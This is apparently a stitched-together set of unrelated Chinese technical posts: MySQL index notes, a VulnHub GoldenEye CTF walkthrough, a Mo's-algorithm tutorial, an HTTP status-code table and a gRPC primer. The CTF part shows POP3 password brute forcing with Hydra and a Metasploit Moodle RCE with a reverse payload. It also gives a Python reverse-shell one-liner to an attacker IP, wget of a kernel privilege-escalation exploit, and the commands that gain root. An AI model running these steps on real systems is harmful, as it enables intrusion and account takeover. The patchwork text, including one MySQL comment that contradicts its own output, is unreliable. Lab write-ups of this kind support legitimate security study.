2024年3月

查询条件有 or

假设在 customer_name 字段设置了普通索引,执行以下 sql:

# type: ref, possible_keys: idx_customer_name, key: idx_customer_name
# idx_customer_name 索引生效
explain select id, customer_name, company_name from t_user_info where customer_name = 'test_name'

# type: ref, possible_keys: idx_customer_name, key: idx_customer_name
# idx_customer_name 索引生效
explain select id, customer_name, company_name from t_user_info where customer_name = 'test_name' and company_name = 'test_name'

# type: all, possible_keys: idx_customer_name, key: null
# idx_customer_name 索引不生效,使用全表扫描
explain select id, customer_name, company_name from t_user_info where customer_name = 'test_name' or company_name = 'test_company'


like 查询以 % 开头

假设在 customer_name 字段设置了普通索引,执行以下 sql:

# type: all, possible_keys: null, key: null
# idx_customer_name 索引不生效
explain select id, customer_name, company_name from t_user_info where customer_name like '%name'

# type: range, possible_keys: idx_customer_name, key: idx_customer_name
# idx_customer_name 索引生效
explain select id, customer_name, company_name from t_user_info where customer_name like 'test%'

如果希望以 % 开头仍使用索引,则需要使用覆盖索引,即只查询带索引字段的列

# type: index, possible_keys: null, key: idx_customer_name
# idx_customer_name 索引生效
# id 是主键,idx_customer_name 构成的 b+tree 除了有 customer_name,也包含用于指向对应行的 id
explain select id, customer_name from t_user_info where customer_name like '%name'


索引列参与运算

假设 id 字段为主键,执行以下 sql:

# type: const, possible: primary, key: primary
# idx_id 索引生效
explain select id, customer_name, company_name from t_user_info where id = 2

# type: all, possible: null, key: null
# idx_id 索引不生效
explain select id, customer_name, company_name from t_user_info where id + 1 = 2


索引列使用函数

假设在 customer_name 字段设置了普通索引,执行以下 sql:

# type: ref, possible_keys: idx_customer_name, key: idx_customer_name
# idx_customer_name 索生效
explain select id, customer_name, company_name from t_user_info where customer_name = '查理一世'

# type: all, possible_keys: null, key: null
# idx_customer_name 索引不生效
explain select id, customer_name, company_name from t_user_info where substr(customer_name, 1, 3) = '查理一'


类型转换

假设在 customer_name 字段设置了普通索引,执行以下 sql:

# type: all, possible_keys: idx_customer_name, key: null
# idx_customer_name 索引不生效
explain select id, customer_name, company_name from t_user_info where customer_name = 10

这是因为 mysql 会自动对字段执行类型转换函数,如上 sql 相当于

select id, customer_name, company_name from t_user_info where cast(customer_name as signed) = 10


两列做比较

如果两个列数据都有索引,但在查询条件中对两列数据进行了对比操作,则会导致索引失效

假设在 customer_name、company_name 字段设置了普通索引,执行以下 sql,仅作示例:

# type: range, possible_keys: idx_customer_name, key: idx_customer_name
# idx_customer_name 索引生效
explain select id, customer_name, company_name from t_user_info where customer_name > '查理一世'

# type: all, possible_keys: null, key: null
# idx_customer_name 索引生效
explain select id, customer_name, company_name from t_user_info where customer_name > company_name


联合索引不满足最左匹配原则

联合索引遵从最左匹配原则,所谓最左匹配原则,就是如果 SQL 语句用到了联合索引中的最左边的索引,那么这条 SQL 语句就可以利用这个联合索引去进行匹配。值得注意的是,当遇到范围查询(>、<、between、like)时就会停止匹配

假设对 a、b、c 字段建立联合索引 idx_a_b_c,执行 sql 如下:

# type: ref, possible_keys: idx_a_b_c, key: idx_a_b_c, ref: const
# idx_a_b_c 索引生效,a 字段能用到索引
explain select * from test_table where a = 1

# type: ref, possible_keys: idx_a_b_c, key: idx_a_b_c, ref: const, const
# idx_a_b_c 索引生效,a、b 字段能用到索引
explain select * from test_table where a = 1 and b = 2

# type: ref, possible_keys: idx_a_b_c, key: idx_a_b_c, ref: const, const, const
# idx_a_b_c 索引生效,a、b、c 字段能用到索引
explain select * from test_table where a = 1 and b = 2 and c = 3

# type: ref, possible_keys: idx_a_b_c, key: idx_a_b_c, ref: const, const, const
# idx_a_b_c 索引生效,a、b、c 字段能用到索引,优化器会调整 a、b、c 的顺序,从而用上索引
explain select * from test_table where b = 2 and c = 3 and a = 1

# type: range, possible_keys: idx_a_b_c, key: idx_a_b_c, ref: null, key_len: 75
# a 字段类型为 varchar(18),字符集为 utf8mb4,1 个字符占 4 个字节,占用 4*18=72 字节
# varchar 为变长数据类型,额外占用 2 个字节
# 字段默认为 null,额外占用 1 个字节
# 因此 key_len = 72 + 2 + 1 = 75,可判断 idx_a_b_c 索引生效,但只有 a 字段用到索引
explain select * from test_table where a > 1 and b = 2 and c = 3

我们知道索引是用 B+Tree 实现的,如果只对 a 字段建立普通索引,那么 B+Tree 根据 a 字段排序。如果对 a、b、c 建立联合索引,那么首先根据 a 字段排序,如果 a 字段值相同,再根据 b 字段排序,如果 b 字段值也相同,再根据 c 字段排序。因此,使用联合索引必须按照从左到右,也就是字段排序的顺序,只有先用了 a,才能接着使用 b,使用了 b 才能接着使用 c

靶机地址:
https://www.vulnhub.com/entry/goldeneye-1,240/

靶机难度:中等(CTF)

目标:得到root权限&找到flag.txt

信息收集

  1. 收集目标ip


  2. nmap扫描到两个端口

    image-20240126184203827

  3. 尝试访问80端口


    • 显示的文本提示了一条线索,它说进入到/sev-home/目录中。

    • User: UNKNOWN
      Naviagate to /sev-home/ to login
      需要登录,开始枚举查找用户名密码信息!

    • 查看其页面源代码发现一个terminal.js文件


      • 发现提示
        image-20240126194043270
    • 密码信息


      //I encoded you p@ssword below...
      //
      //&#73;&#110;&#118;&#105;&#110;&#99;&#105;&#98;&#108;&#101;&#72;&#97;&#99;&#107;&#51;&#114;
      
  • 用户名信息

    阅读提示可以猜测用户名和密码可能为:Boris或Natalya

渗透过程

获得用户名和密码:

  1. 通过密码信息的收集发现这种编码是unicode的一种编码


  2. 猜测用户名为boris成功

step2

  1. 登录成功后获取到又一重要信息

    image-20240126200348205

  2. POP3是一种发邮件的服务
    帮助中心_常见问题 (163.com)

  3. 继续对ip地址进行端口扫描查看pop3服务

    nmap -p- 192.168.177.129//全端口扫描
    

    image-20240126201453012

  4. nmap详细扫描上述55006,55007端口

    nmap -p-55006,55007 192.168.177.129 -sS -sV -T5 -A
    
  5. 验证了收集到的信息
    image-20240126202226938

6.通过Hydra暴力破解pop3服务

  • Hydra密码爆破工具使用教程图文教程(超详细)_hydra使用教程-CSDN博客

  • echo -e 'natalya\nboris' > dayu.txt   ---将两个用户名写入txt文本中
    
  • hydra -L dayu.txt -P /usr/share/wordlists/fasttrack.txt 192.168.177.129 -s 55007 pop3
    #/usr/share/wordlists/fasttrack.txt 是一个常见的字典文件,通常被用于密码破解、渗透测试和安全审计。这个文件包含了许多常见的用户名、密码、常用短语和其他可能用于攻击的字符串列表。这些列表可以被安全专业人员用于测试系统的安全性,确认系统是否容易受到常见的口令攻击。
    
  • 经过2~5分钟等待,获得两组账号密码


    用户:boris 密码:secret1!
    用户:natalya 密码:bird

  1. 通过NC登录pop3查看邮件信封内容枚举
  2. 查看boris的
    • nc 192.168.177.129 55007 ---登录邮箱
      user boris ---登录用户
      pass secret1! ---登录密码
      list ---查看邮件数量
      retr 1~3 ---查看邮件内容

image-20240126223000200

读到的信息

  • image-20240126225526431

  1. 查看natalya的


    • nc 192.168.177.129 55007 ---登录邮箱
      user natalya ---登录用户
      pass bird ---登录密码
      list ---查看邮件数量
      retr 1~3 ---查看邮件内容

    • 读到的信息

      image-20240126225725514


      在第二封邮件看到了另外一个用户名密码,此服务器域名和网站,还要求我们在本地服务hosts中添加域名信息:
      用户名:xenia
      密码:RCP90rulez!
      域:severnaya-station.com
      网址:severnaya-station.com/gnocertdir
      我们现根据邮件提示添加本地域名:severnaya-station.com

  2. 设置本地HOSTS文件
    gedit /etc/hosts
    192.168.177.129 severnaya-station.com

step3

  1. 访问severnaya-station.com/gnocertdir

  2. 刚登陆界面我就看到了moodle,这是一个开源的CMS系统,继续点一点,发现要登陆,使用邮件获得的用户密码进行登陆。


    是的,Moodle 是一种开源的学习管理系统(LMS),而不是一种内容管理系统(CMS)。Moodle 主要用于创建在线学习平台,提供了丰富的教学和学习工具,包括课程管理、在线测验、资源分享、讨论论坛等功能。Moodle 的开源性质意味着用户可以免费获取、使用和定制它,同时还可以根据自己的需求扩展功能。

    内容管理系统(CMS)通常用于创建和管理网站内容,例如WordPress、Joomla 和Drupal,而学习管理系统(LMS)则专注于教育和培训范畴。Moodle 在教育领域非常受欢迎,许多学校、大学和培训机构都使用它来提供在线学习服务。


    whatweb severnaya-station.com/gnocertdir ---指纹搜索也行

    image-20240202181835235

  3. 登录后,Home / ▶ My profile / ▶ Messages --->发现有一封邮件,内容发现用户名doak收集到又一有用的信息

    image-20240202181418238

  4. 又尝试用九头蛇爆破email username = doak的密码

  5. echo doak > dayu.txt   ---将用户名写入txt文本中
    hydra -L dayu.txt -P /usr/share/wordlists/fasttrack.txt 192.168.177.129 -s 55007 pop3 
    #或者直接爆破doak这一个
    hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.177.129 -s 55007 pop3 
    
  6. 成功获得密码[pop3] host: 192.168.177.129 login: doak password: goat

  7. 登录doak用户枚举邮件信息
    nc 192.168.177.129 55007 ---登录邮箱
    user doak ---登录用户
    pass goat ---登录密码
    list ---查看邮件数量
    retr 1 ---查看邮件内容

  8. image-20240202183404928

step4

  1. 据上诉邮件消息说,为我们提供了更多登录凭据以登录到应用程序。让我们尝试使用这些凭据登录。
    用户名:dr_doak
    密码:4England!

  2. 登录后发现

    image-20240202190217324

  3. Something juicy is located here: /dir007key/for-007.jpg
    现在我们查看文件的内容,指出管理员凭据已隐藏在映像文件中,让我们在浏览器中打开图像以查看其内容。

    访问页面:severnaya-station.com/dir007key/for-007.jpg

    下载到本地:
    wget
    http://severnaya-station.com/dir007key/for-007.jpg

    根据邮件提示让我们检查图片内容,下载图片后,我们可以使用:
    binwalk(路由逆向分析工具)
    exiftool(图虫)
    strings(识别动态库版本指令)
    等查看jpg文件底层内容!

    exiftool for-007.jpg
    strings for-007.jpg
    用以上命令都可以查看到base64编码隐藏信息:eFdpbnRlcjE5OTV4IQ==

image-20240204163037393

  1. 对上述base64编码隐藏信息解码得到:xWinter1995x!
  2. 又由2知道用户为admin,由此可以登录
  3. 成功用admin用户登录站点
    image-20240204172227556

step5

  1. 进去内容太多了,花了很多时间查看,图片红框显示和我前面使用dr_doak用户登陆邮箱发现的结果一致。
    这是Moodle使用的2.2.3版本,搜索了网上的可用漏洞。

  2. google搜索:Moodle 2.2.3 exp poc

  3. Moodle 2.2.3 exp cve --> CVE-2013-3630 漏洞可利用! 29324

  4. 此版本有许多漏洞利用,由于我们需要在目标计算机上进行外壳访问,因此我选择使用远程代码执行(RCE)漏洞利用。

    使用我们的神器:MSF

    image-20240302171401227

    msfconsole                        ---进入MSF框架攻击界面
    search moodle                     ---查找 moodle类型 攻击的模块
    use 1                             ---调用0  exploit/multi/http/moodle_cmd_exec调用攻击脚本
    set username admin                ---设置用户名:admin
    set password xWinter1995x!        ---设置密码:xWinter1995x!
    set rhost severnaya-station.com   ---设置:rhosts severnaya-station.com
    set targeturi /gnocertdir         ---设置目录: /gnocertdir
    set payload cmd/unix/reverse      ---设置payload:cmd/unix/reverse
    set lhost 192.168.177.128           ---设置:lhost 192.168.4.231(需要本地IP)
    exploit  ----执行命令
    

    image-20240302170426472

  5. 当我们执行后发现无法成功,是因为对方需要修改执行PSpellShell
    https://www.exploit-db.com/exploits/29324
    's_editor_tinymce_spellengine' => 'PSpellShell',

image-20240302170601859

  1. 成功,但交互shell不正常,有装python

    image-20240302171909819

  2. 执行tty,因为获得的权限无框架:执行
    python -c 'import pty; pty.spawn("/bin/bash")' ---将shell进行tty

  3. 本地监听,用python反弹shell


    • nc -lvp 6666
    • image-20240302172925647

    #python反弹shell
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.177.128",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    

    • image-20240302173023501
  4. 成功建立连接,但依然是不正常的shell
    image-20240302173355669

  • python -c 'import pty; pty.spawn("/bin/bash")' ---将shell进行tty
  1. 内核提权
    uname -a 查看权限!

    image-20240302173546167

step6提权获取flag

  1. 谷歌搜索:Linux ubuntu 3.13.0-32 exploit

获得exp版本:37292

CVE(CAN) ID: CVE-2015-1328

overlayfs文件系统是一种叠合式文件系统,实现了在底层文件系统上叠加另一个文件系统。Linux 内核3.18开始已经加入了对overlayfs的支持。Ubuntu Linux内核在更早的版本就已加入该支持。

Ubuntu Linux内核的overlayfs文件系统实现中存在一个权限检查漏洞,本地普通用户可以获取管理员权限。此漏洞影响所有目前官方支持的Ubuntu Linux版本,目前已经发布攻击代码,建议受影响用户尽快进行升级。

此漏洞源于overlayfs文件系统在上层文件系统目录中创建新文件时没有正确检查文件权限。它只检查了被修改文件的属主是否有权限在上层文件系统目录写入,导致当从底层文件系统目录中拷贝一个文件到上层文件系统目录时,文件属性也随同拷贝过去。如果Linux内核设置了CONFIG_USER_NS=y和FS_USERNS_MOUNT标志,将允许一个普通用户在低权限用户命名空间中mout一个overlayfs文件系统。本地普通用户可以利用该漏洞在敏感系统目录中创建新文件或读取敏感文件内容,从而提升到管理员权限。

  1. 当前靶机下没有gcc,只有cc
    image-20240302174705137

  2. kali搜索下:
    searchsploit 37292 ---搜索kali本地的exp库中37292攻击脚本信息
    cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/kali/Desktop ---目录自行修改

  3. 这个靶场在枚举信息知道:
    无法进行GCC编译,需要改下脚本为cc
    gedit 37292.c ---文本打开
    第143行将gcc改为cc ---编写下

  4. 然后在本机本目录下开启http服务:python -m http.server 8081

  5. 靶机上执行

    cd /tmp

    wget
    http://192.168.177.128:8081/37292.c
    ---wget下载http服务下的文件

  6. 成功下载后执行cc编译:
    cc -o exp 37292.c ---C语言的CC代码编译点c文件
    chmod +x exp ---编译成可执行文件,并赋权
    ./exp ---点杠执行

    id ---查看目前权限

    image-20240302180143019

    cat /root/.flag.txt ---读取root下的flag信息
    568628e0d993b1973adc718237da6e93

image-20240302180207877

Part.1 引入

当你遇到一个区间询问但是难以用线段树等 log 算法维护的时候怎么办?那就是——莫队!

莫队这个东西能支持区间修改、区间查询的操作,但是这种算法要求离线。莫队有很多种,详细请看下文。

Part.2 普通莫队

我们先来看一道例题(
P1972
的削弱版):

给你一个长度为
\(n\)
的序列
\(a\)

\(m\)
次查询,询问区间
\([l,r]\)
有多少个不同的数。

数据范围:
\(1\le n,m\le 10^5,1\le a_i\le 10^5\)

普通的暴力就是每次遍历这个区间,拿个桶记一下,每次需要清空桶。

发现每次清空桶十分浪费,所以可以考虑从上一次的询问区间伸缩过来。就是记一个
\(tl,tr\)
,初始为
\(tl=1,tr=0\)
。每次把
\(tl\)

\(l\)
上靠,把
\(tr\)

\(r\)
上靠。代码如下:

//add(x) 是加入下标为 x 的数,del(x) 是减去下标为 x 的数,这两个函数视情况而定
while(tl>l) add(--tl);
while(tr<r) add(++tr);
while(tl<l) del(tl++);
while(tr>r) del(tr--);

当然这不是莫队,他是可以被卡的(大小区间交替询问,移动的量级就变成
\(nm\)
)。

莫队,就是通过离线后对询问左右端点排序,达到降低复杂度的目的。

先讲做法,记一个块长
\(B = \sqrt n\)
,然后以
\(\lfloor\frac{l}{B}\rfloor\)
为第一关键字,
\(r\)
为第二关键字,从小到大排序。这样处理完所有询问的时间复杂度上界为
\(O(n\sqrt n)\)

为啥这样能保证时间复杂度呢?为了方便,我们定义点
\(i\)
在编号为
\(\lfloor{\frac{i}{B}}\rfloor\)
的块内。不妨设
\(n,m\)
同阶。考虑两种情况:

  1. 上一个左端点和当前处理的左端点在一个块内:那么左端点最多移动
    \(B\)
    次,总共就只有
    \(nB\)
    次;询问左端点在一个块内的右端点是单调递增的,所以一个块内至多移动
    \(n\)
    次,而最多有
    \(\lceil\frac{n}{B}\rceil\)
    个块,所以总询问次数是
    \(\lceil\frac{n}{B}\rceil n\)
  2. 上一个左端点和当前处理的左端点不在一个块内:左端点最多移动
    \(2B\)
    次,右端点也只移动
    \(n\)
    次,所以这部分的移动次数就只有
    \(2B\lceil\frac{n}{B}\rceil+\lceil\frac{n}{B}\rceil n\)

平均一下,当
\(B\)

\(\sqrt n\)
时,时间复杂度就是
\(O(n\sqrt n)\)

给出上面例题的代码:

#include<bits/stdc++.h>
using namespace std;
const int N = 1e6+5;
int n,m,a[N],cnt[N],res,ans[N],B;
struct node{
    int l,r,id;
    inline void init(int x){cin>>l>>r,id = x;}
    inline bool friend operator < (node x,node y)//重载运算符,相当于写一个 cmp
    {
        if(x.l/B!=y.l/B) return x.l<y.l;
        return x.r<y.r;
    }
}q[N];
inline void add(int x)
{
    x = a[x];
    cnt[x]++;
    if(cnt[x]==1) res++;
}
inline void del(int x)
{
    x = a[x];
    cnt[x]--;
    if(!cnt[x]) res--;
}
signed main()
{
    ios::sync_with_stdio(0),cin.tie(0),cout.tie(0);
    cin>>n;
    B = sqrt(n);
    for(int i = 1;i<=n;i++)
        cin>>a[i];
    cin>>m;
    for(int i = 1;i<=m;i++)
        q[i].init(i);
    sort(q+1,q+m+1);
    int l = 1,r = 0;
    for(int i = 1;i<=m;i++)
    {
        while(l>q[i].l) add(--l);
        while(r<q[i].r) add(++r);
        while(l<q[i].l) del(l++);
        while(r>q[i].r) del(r--);
        ans[q[i].id] = res;
    }
    for(int i = 1;i<=m;i++)
        cout<<ans[i]<<'\n';
    return 0;
}

当然,上述算法还能优化,比如奇偶排序(优化常数)、二次离线(去掉一只 log)。感兴趣的可以自己学习。

Part.3 带修莫队

普通莫队是不支持修改的,如果有修改操作的话,就可以请出带修莫队了!

先给一道例题:
P1903
,其实就是在普通莫队的例题基础上加一个单点修改。

其实就是给普通莫队加一个时间戳,即之前有多少个修改操作,排序时以其作为第三关键字。处理答案时就多记一个当前时间戳
\(t\)
。每次把
\(t\)
移动到询问的时间戳,进行修改,并把在询问区间内的修改加入贡献。


\(B\)
取到
\(n^{\frac{2}{3}}\)
时,有最优复杂度
\(O(n^{\frac{5}{3}})\)
。我太弱了,不会证明。

贴上例题代码:

#include <bits/stdc++.h>
using namespace std;
const int N = 133333+5,M = 1e6+5;
int qsize;
struct que{
	int id,t,l,r;
	inline friend bool operator < (que x,que y)
	{
		if(x.l/qsize!=y.l/qsize) return x.l/qsize<y.l/qsize;
		if(x.r/qsize!=y.r/qsize) return x.r/qsize<y.r/qsize;
		return x.t<y.t;
	}
}q[N];
struct op{
	int p,x;
}o[N];
int n,m,ans,mp[M],a[N],qcnt,ocnt,out[N];
inline void add(int x)
{
	mp[x]++;
	if(mp[x]==1) ans++;
}
inline void del(int x)
{
	mp[x]--;
	if(!mp[x]) ans--;
}
signed main()
{
	ios::sync_with_stdio(0),cin.tie(0),cout.tie(0);
	cin>>n>>m;
	qsize = pow(n,2.0/3.0);
	for(int i = 1;i<=n;i++)
		cin>>a[i];
	for(int i = 1,x,y;i<=m;i++)
	{
		char op;
		cin>>op>>x>>y;
		if(op=='Q') q[++qcnt] = {qcnt,ocnt,min(x,y),max(x,y)};
		else o[++ocnt] = {x,y};
	}
	sort(q+1,q+qcnt+1);
	int l = 1,r = 0,las = 0;
	for(int i = 1;i<=qcnt;i++)
	{
		while(r<q[i].r) add(a[++r]);
		while(r>q[i].r) del(a[r--]);
		while(l>q[i].l) add(a[--l]);
		while(l<q[i].l) del(a[l++]);
		while(las<q[i].t)
		{
			las++;
			if(o[las].p>=l&&o[las].p<=r) del(a[o[las].p]),add(o[las].x);
			swap(a[o[las].p],o[las].x);
		}
		while(las>q[i].t)
		{
			if(o[las].p>=l&&o[las].p<=r) del(a[o[las].p]),add(o[las].x);
			swap(a[o[las].p],o[las].x);
			las--;
		}
		out[q[i].id] = ans;
	}
	for(int i = 1;i<=qcnt;i++)
		cout<<out[i]<<'\n';
	return 0;
}

Part.4 回滚莫队

回滚莫队解决的问题就是加入一个数很好维护,但是删除这个数不好维护(比如区间最值之类的)。其思想就是每次右端点慢慢加,左端点到目标点时计算答案再回到原来的点。

仍然甩出一道例题:
SP20644
。让你统计区间中和为零的区间最大长度。

先把问题转化成前缀和,相当于在问你区间中前缀和相同的地方最大的长度,然后就变成了
P5906

我们还是按照普通莫队的方式排序。回滚莫队由以下几部分组成:

  1. 左右端点在一个块内,直接暴力做;
  2. 左端点的块和上一个的不同,设这个块的右端点为
    \(rt\)
    ,那么
    \(now_l\)
    就要移动到
    \(rt+1\)

    \(now_r\)
    就要移动到
    \(rt\)
    ,并把当前答案清零;
  3. \(now_r\)
    移动到当前询问的右端点,一边移动一边计算答案;
  4. \(now_l\)
    移动到当前询问的左端点,注意移动完之后需要回到原来的位置,所以记录原来的答案以便复原,其余的正常计算贡献;
  5. \(now_l\)
    移动回去,我们只需要把这段区间的贡献消掉就行,这是难点。然后把答案还原。

需要注意的是,
回滚莫队不支持奇偶排序

回到这道例题,考虑如何消掉贡献。我们计算答案的时候维护一个
\(mx_i\)
表示
\(i\)
最先出在那个位置,而
\(mx_i\)
小于原来
\(now_i\)
​ 的就会消掉贡献。

放代码:

#include <bits/stdc++.h>
using namespace std;
const int N = 5e4+5;
int n,m,a[N],b[N],blk,lt[N],rt[N];
struct node{
	int l,r,id;
	inline void init(int x){cin>>l>>r,l--,id = x;}
	inline friend bool operator < (node x,node y)
	{
		if(b[x.l]!=b[y.l]) return x.l<y.l;
		return x.r<y.r;
	}
}q[N];
int mn[N<<1],mx[N<<1],ans[N];
signed main()
{
    ios::sync_with_stdio(0),cin.tie(0),cout.tie(0);
    cin>>n>>m;
	blk = sqrt(n);
	a[0] = n,b[0] = 1;
	for(int i = 1;i<=n;i++)
		cin>>a[i],b[i] = (i-1)/blk+1,a[i]+=a[i-1];
	for(int i = 1;i<=b[n];i++)
		rt[i] = i*blk;
	rt[b[n]] = n;
	for(int i = 1;i<=m;i++)
		q[i].init(i);
	sort(q+1,q+m+1);
	int l = 0,r = 0,las = 0,tmp = 0;
	for(int i = 1;i<=m;i++)
	{
		if(b[q[i].l]==b[q[i].r])
		{
			for(int j = q[i].l;j<=q[i].r;j++)
				mx[a[j]] = 0;
			tmp = 0;
			for(int j = q[i].r;j>=q[i].l;j--)
				if(!mx[a[j]]) mx[a[j]] = j;
				else tmp = max(tmp,mx[a[j]]-j);
			ans[q[i].id] = tmp;
			for(int j = q[i].l;j<=q[i].r;j++)
				mx[a[j]] = 0;
			continue;
		}
		if(b[q[i].l]!=las)
		{
			while(l<rt[b[q[i].l]]+1) mx[a[l]] = mn[a[l]] = 0,l++;
			while(r>rt[b[q[i].l]]) mx[a[r]] = mn[a[r]] = 0,r--;
			r = l-1;
			tmp = 0,las = b[q[i].l];
		}
		while(r<q[i].r)
		{
			r++;
			if(!mn[a[r]]) mn[a[r]] = mx[a[r]] = r;
			else tmp = max(tmp,r-mn[a[r]]),mx[a[r]] = r;
		}
		int _l = l,res = tmp;
		while(_l>q[i].l)
		{
			_l--; 
			if(!mx[a[_l]]) mx[a[_l]] = _l;
			else res = max(res,mx[a[_l]]-_l); 
		}
		ans[q[i].id] = res;
		while(_l<l)
		{
			if(mx[a[_l]]==_l) mx[a[_l]] = 0;
			_l++;
		}
	}
	for(int i = 1;i<=m;i++)
	    cout<<ans[i]<<'\n';
	return 0;
}

另外推荐一道回滚莫队好题:
AT_joisc2014_c

Part.5 树上莫队

还是先给一道例题:
SP10707

我们考虑对树进行 DFS,求出其欧拉序。

给个例子:

graph

这颗树的欧拉序为
\(1,2,4,4,2,3,5,7,7,8,8,5,6,6,3,1\)
。我们记节点
\(i\)
第一次出现的位置为
\(st_i\)
,第二次出现的位置为
\(ed_i\)

考虑询问
\(u\)

\(v\)
这条路径,不妨设
\(st_u<st_v\)
,分两种情况讨论:

  1. \(v\)

    \(u\)
    的子树中,我们只需要去掉
    \(v\)
    的子树,询问区间就是
    \(st_u\sim st_v\)
  2. 否则,我们需要去掉
    \(u,v\)
    的子树,那么询问
    \(ed_u\sim st_v\)
    即可。但是发现走到
    \(st_v\)
    时还没有退出
    \(lca(u,v)\)
    的子树,所以还要单独算上
    \(lca(u,v)\)

其他的和普通莫队都是一样的,但注意要开两倍空间!

上代码:

#include <bits/stdc++.h>
using namespace std;
const int N = 1e5+5;
int n,m,idx,ans[N],a[N],b[N],tt,cnt[N],res,st[N],ed[N],pre[N],son[N],dep[N],top[N],sz[N],f[N],qsize;
vector<int> g[N];
bool vis[N];
void dfs1(int u,int fa)
{
	f[u] = fa,dep[u] = dep[fa]+1,sz[u] = 1,st[u] = ++idx,pre[idx] = u;
	for(auto v:g[u])
	{
		if(v==fa) continue;
		dfs1(v,u);
		sz[u]+=sz[v];
		if(sz[v]>sz[son[u]]) son[u] = v;
	}
	ed[u] = ++idx,pre[idx] = u;
}
void dfs2(int u,int tp)
{
	top[u] = tp;
	if(!son[u]) return;
	dfs2(son[u],tp);
	for(auto v:g[u])
	{
		if(v==f[u]||v==son[u]) continue;
		dfs2(v,v);
	}
}
inline int Lca(int x,int y)
{
	while(top[x]!=top[y])
	{
		if(dep[top[x]]<dep[top[y]]) swap(x,y);
		x = f[top[x]];
	}
	if(dep[x]>dep[y]) swap(x,y);
	return x;
}
struct node{
	int l,r,lca,id;
	inline void init(int x)
	{
		id = x;
		int u,v;
		cin>>u>>v;
		if(st[u]>st[v]) swap(u,v);
		lca = Lca(u,v);
		if(lca==u) l = st[u],r = st[v],lca = 0;
		else l = ed[u],r = st[v];
	}
	inline friend bool operator < (node x,node y)
	{
		if(x.l/qsize==y.l/qsize) return x.r<y.r;
		return x.l<y.l;
	}
}q[N];
inline void add(int x)
{
	cnt[x]++;
	if(cnt[x]==1) res++;
}
inline void del(int x)
{
	cnt[x]--;
	if(cnt[x]==0) res--;
}
inline void work(int x)
{
	x = pre[x];
	vis[x]^=1;
	if(vis[x]) add(a[x]);
	else del(a[x]);
}
signed main()
{
    ios::sync_with_stdio(0),cin.tie(0),cout.tie(0);
    cin>>n>>m;
	for(int i = 1;i<=n;i++)
	    cin>>a[i],b[++tt] = a[i];
	sort(b+1,b+tt+1),tt = unique(b+1,b+tt+1)-b-1;
	for(int i = 1;i<=n;i++)
		a[i] = lower_bound(b+1,b+tt+1,a[i])-b;
	for(int i = 1,u,v;i<n;i++)
		cin>>u>>v,g[u].push_back(v),g[v].push_back(u);
	dfs1(1,0),dfs2(1,1);
	for(int i = 1;i<=m;i++)
		q[i].init(i);
	qsize = sqrt(n);
	sort(q+1,q+m+1);
	int l = 1,r = 0;
	for(int i = 1;i<=m;i++)
	{
		while(l>q[i].l) work(--l);
		while(r<q[i].r) work(++r);
		while(l<q[i].l) work(l++);
		while(r>q[i].r) work(r--);
		if(q[i].lca) work(st[q[i].lca]);
		ans[q[i].id] = res;
		if(q[i].lca) work(st[q[i].lca]);
	}
	for(int i = 1;i<=m;i++)
	    cout<<ans[i]<<'\n';
	return 0;
}

Part.6 总结

莫队是个非常好的数据结构,建议深度学习!

码字不易,给个赞吧~

\[\text{THE END}
\]

一、状态码大类

状态码分类 说明
1xx 响应中
——临时状态码,表示请求已经接受,告诉客户端应该继续请求或者如果它已经完成则忽略它
2xx 成功
——表示请求已经被成功接收,处理已完成
3xx 重定向
——重定向到其它地方:它让客户端再发起一个请求以完成整个处理。
4xx 客户端错误
——处理发生错误,责任在客户端,如:客户端的请求一个不存在的资源,客户端未被授权,禁止访问等
5xx 服务器端错误
——处理发生错误,责任在服务端,如:服务端抛出异常,路由出错,HTTP版本不支持等

二、常见的响应状态码

状态码 英文描述 解释
200 OK 客户端请求成功,即
处理成功
,这是我们最想看到的状态码
302 Found 指示所请求的资源已移动到由
Location
响应头给定的 URL,浏览器会自动重新访问到这个页面
304 Not Modified 告诉客户端,你请求的资源至上次取得后,服务端并未更改,你直接用你本地缓存吧。隐式重定向
400 Bad Request 客户端请求有
语法错误
,不能被服务器所理解
403 Forbidden 服务器收到请求,但是
拒绝提供服务
,比如:没有权限访问相关资源
404 Not Found 请求资源不存在
,一般是URL输入有误,或者网站资源被删除了
405 Method Not Allowed 请求方式有误,比如应该用GET请求方式的资源,用了POST
428 Precondition Required 服务器要求有条件的请求
,告诉客户端要想访问该资源,必须携带特定的请求头
429 Too Many Requests 指示用户在给定时间内发送了
太多请求
(“限速”),配合 Retry-After(多长时间后可以请求)响应头一起使用
431 Request Header Fields Too Large 请求头太大
,服务器不愿意处理请求,因为它的头部字段太大。请求可以在减少请求头域的大小后重新提交。
500 Internal Server Error 服务器发生不可预期的错误
。服务器出异常了,赶紧看日志去吧
503 Service Unavailable 服务器尚未准备好处理请求
,服务器刚刚启动,还未初始化好

gRPC是一个现代的开源高性能远程过程调用(RPC)框架,它可以高效地连接数据中心内和跨数据中心的服务,支持负载平衡、跟踪、运行状况检查和身份验证。

gRPC通过使用 Protocol Buffers 作为数据传输格式,实现了在不同平台上的通信,并支持双向流和流式传输。RPC 是远程过程调用的缩写,实现跨服务器调用。在开发中,规定调用规则、网络传输协议以及数据序列化反序列化规范是确保前后端通信规范性的关键。

了解GRpc前需要了解Rpc概念。

什么是 RPC

RPC 是
Remote Procedure Call 的简称,中文叫
远程过程调用

说的白话一点,可以这么理解:比如有两台服务器A和B,A服务器上的应用想调用B服务器上的另一个应用提供的方法,但由于不在同一个内存空间,无法直接调用,所以需要通过网络来实现调用效果。

其实大家在平时开发中有接触过,例如:前端去请求后端的接口。我们来想一下前后端要制定什么规则,才能进行接口请求:

  • 调用的语义,也可以理解为
    接口规范
    。(比如 RESTful )
  • 网络传输协议
    (比如 HTTP )
  • 数据
    序列化反序列化
    规范(比如 JSON )

只有制定了这些规则,才能保证前后端通信的规范性

什么是 gRPC
交互图

从上图中可以看出,RPC 是一种客户端-服务端(Client/Server)模式。从某种角度来看,所有本身应用程序之外的调用都可以归类为 RPC。无论是微服务、第三方 HTTP 接口,还是读写数据库中间件 Mysql、Redis。

RPC
特点

  • RPC 是一种协议。
    RPC实现包括
    :Dubbo、Thrift、Grpc、Netty等。
  • 网络协议和网络 IO 模型对其透明。
